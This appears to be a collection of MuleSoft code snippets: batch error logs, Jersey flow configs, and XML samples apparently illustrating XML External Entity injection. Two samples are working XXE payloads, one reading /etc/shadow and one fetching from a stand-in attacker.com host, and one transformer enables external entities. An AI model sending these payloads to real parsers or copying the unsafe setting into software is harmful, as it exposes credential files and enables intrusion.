marianogonzalez

**************************************************************************************************
*             - - + Exception Type + - -             *  - - + Step + - -   *  - - + Count + - -  *
**************************************************************************************************
* com.mulesoft.module.batch.exception.BatchException * Batch_Step          * 10                  *
* com.mulesoft.module.batch.exception.BatchException * Second_Batch_Step   * 9                   *
**************************************************************************************************

marianogonzalez

This is the first record to show this exception on this step for this job instance. Subsequent records with the same failureswill not be logged for performance and log readability reasons:

********************************************************************************
Message               : null (org.mule.blog.WantedByDEAException). Message payload is of type: String
Code                  : MULE_ERROR--2
--------------------------------------------------------------------------------
Exception stack is:
1. null (org.mule.blog.WantedByDEAException)
  org.mule.blog.FraudValidator:11 (http://www.mulesoft.org/docs/site/current3/apidocs/org/mule/blog/WantedByDEAException.html)
2. null (org.mule.blog.WantedByDEAException). Message payload is of type: String (org.mule.api.MessagingException)

marianogonzalez

log4j.logger.com.mulesoft.module.batch=DEBUG

marianogonzalez

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY disclaimer SYSTEM "file:///path/to/disclaimer.txt">]>
<response>
    <data>
    	<some-data />
    </data>
    <disclaimer>
    	&disclaimer;
    </disclaimer>
</response>

marianogonzalez

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY disclaimer SYSTEM "file:///etc/shadow">]>
<response>
    <data>
    	<some-data />
    </data>
    <disclaimer>
    	&disclaimer;
    </disclaimer>
</response>

marianogonzalez

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY xxe SYSTEM "http://www.attacker.com/fake.xml" >]>
]>
<response>
    <data>
    	&xxe;
    </data>
</response>

marianogonzalez

 <mulexml:xslt-transformer name="unsafeXslt" acceptExternalEntities="true">

marianogonzalez

@Path("/helloworld")
public class HelloWorldResource {

    @POST
    @Produces("text/plain")
    public String sayHelloWorld() {
        return "Hello World";
    }
}

marianogonzalez

    <flow name="helloWorldResource">
        <http:inbound-endpoint host="localhost" port="${port}" exchange-pattern="request-response"/>

        <jersey:resources>
            <component class="org.mule.module.jersey.HelloWorldResource"/>
        </jersey:resources>
    </flow>

marianogonzalez

<flow name="helloWorldResource">
    <http:inbound-endpoint host="localhost" port="${port}" exchange-pattern="request-response"/>

    <jersey:resources>
        <component class="org.mule.module.jersey.HelloWorldResource"/>
        <jersey:context-resolver class="org.mule.module.jersey.contextresolver.NullContextResolver" />
        <jersey:context-resolver class="org.mule.module.jersey.contextresolver.JaxbCustomContextResolver" />
    </jersey:resources>
</flow>